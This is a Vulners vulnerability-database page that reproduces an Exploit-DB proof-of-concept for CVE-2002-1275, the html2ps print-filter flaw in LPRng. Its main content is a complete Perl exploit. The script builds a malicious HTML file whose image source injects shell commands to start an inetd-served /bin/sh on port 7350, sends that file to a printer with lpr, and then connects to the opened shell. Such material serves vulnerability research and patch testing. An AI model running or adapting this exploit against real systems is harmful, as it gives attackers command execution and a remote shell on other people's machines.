Lucene search
+L

LPRNG html2ps 1.0 - Remote Command Execution

🗓️ 31 Oct 2002 00:00:00Reported by Sebastian KrahmerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 47 Views

Vulnerability in html2ps allows remote execution of commands by accessing lp account.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Debian GNU/Linux Data Compromise
28 Apr 201500:00
–bdu_fstec
cve
CVE
CVE-2002-1275
10 Nov 200205:00
–cve
cvelist
Cvelist
CVE-2002-1275
10 Nov 200205:00
–cvelist
debiancve
Debian CVE
CVE-2002-1275
10 Nov 200205:00
–debiancve
nessus
Tenable Nessus
Debian DSA-192-1 : html2ps - arbitrary code execution
29 Sep 200400:00
–nessus
euvd
EUVD
EUVD-2002-1259
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2002-1275
12 Nov 200205:00
–nvd
openvas
OpenVAS
Debian Security Advisory DSA 192-1 (html2ps)
17 Jan 200800:00
–openvas
openvas
OpenVAS
Debian Security Advisory DSA 192-2 (html2ps)
17 Jan 200800:00
–openvas
openvas
OpenVAS
Debian Security Advisory DSA 192-1 (html2ps)
17 Jan 200800:00
–openvas
Rows per page
source: https://www.securityfocus.com/bid/6079/info

A vulnerability has been discovered in the html2ps filter which is included in the lprng print system.

It has been reported that it is possible for a remote attacker to execute arbitrary commands. The attacker must reportedly already have access to the 'lp' (or equivalent) account to exploit this condition.

This cause of this vulnerability is that html2ps may open files using unsanitized input that may be supplied by a potentially malicious user.

#!/usr/bin/perl -W

# html2ps remote "lp" exploit. Opens shell on port 7350.
# If used for testing remote machines, /etc/printcap must
# contain apropriate remote printernames etc. and lpd must
# be set up correctly.
# (C) 2002 Sebastian Krahmer, proof of concept exploit.

# Brief problem description: lprng calls printfilters as any
# other print-spooloing systems do. It calls them with UID of lp
# thats why you get lp-user shell later. The html2ps filter which is
# a perl script is called to convert the evil.html to .ps.
# However there it breaks because html2ps calls open() function insecurely
# and some other bad stuff is done too. It tries to convert the IMG embedded
# in the html and invokes some commands which give us access. Thats all. :)


sub usage
{
	print "\n$0 <printhost> <remote-host>\n".
	      "\tprinthost   -- name of printer in /etc/printcap\n".
	      "\tremote-host -- IP or hostname of host where shell appears\n".
	      "'$0 lp 127.0.0.1' is recommended for everyones own machine\n\n";
	exit;
}


my $printhost = shift || usage();
my $remote = shift || usage();

print "Constructing evil.html ...\n";

open O, ">evil.html" or die $!;
print O<<__eof__;
<HTML>
<IMG SRC="|IFS=A;X=A;echo\${X}7350\${X}stream\${X}tcp\${X}nowait\${X}lp\${X}/bin/sh\${X}-i|dd\${X}of=/tmp/f;inetd\${X}/tmp/f">
</HTML>
__eof__

close O;

if (fork() == 0) {
	exec("/usr/bin/lpr", "-P", $printhost, "evil.html");
}
wait;
sleep 3;
print "Connecting ...\n";
exec("/usr/bin/telnet", $remote, 7350);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.09246
47